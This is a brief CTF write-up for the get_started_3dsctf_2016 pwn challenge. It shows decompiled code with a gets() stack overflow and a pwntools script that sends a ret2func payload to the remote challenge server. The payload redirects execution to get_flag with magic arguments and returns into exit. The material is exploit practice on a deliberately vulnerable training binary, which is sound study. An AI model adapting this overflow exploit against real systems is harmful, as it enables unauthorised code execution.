ctf【get_started_3dsctf_2016】

Reverse

int __cdecl main(int argc, const char **argv, const char **envp)
{
    
    
  char v4[56]; // [esp+4h] [ebp-38h] BYREF

  printf("Qual a palavrinha magica? ", v4[0]);
  gets(v4);
  return 0;
}

void __cdecl get_flag(int a1, int a2)
{
    
    
  int v2; // esi
  unsigned __int8 v3; // al
  int v4; // ecx
  unsigned __int8 v5; // al

  if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
  {
    
    
    v2 = fopen("flag.txt", "rt");
    v3 = getc(v2);
    if ( v3 != 0xFF )
    {
    
    
      v4 = (char)v3;
      do
      {
    
    
        putchar(v4);
        v5 = getc(v2);
        v4 = (char)v5;
      }
      while ( v5 != 0xFF );
    }
    fclose(v2);
  }
}

Attack ideas

a1 == 0x308CD64F && a2 == 0x195719D1

get_flag function address 0x80489A0

main function address 0x8048A20

script attack

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

p=remote("node4.buuoj.cn",25455)
payload=b'a'*0x38+p32(0x80489A0)+p32(0x0804e6a0)+p32(0x308CD64F)+p32(0x195719D1)
p.sendline(payload)

p.interactive()

[Note] 0x0804e6a0 is the address of program exit. Only when the program can exit normally can the flag be echoed correctly.

(Another way to modify memory write permissions)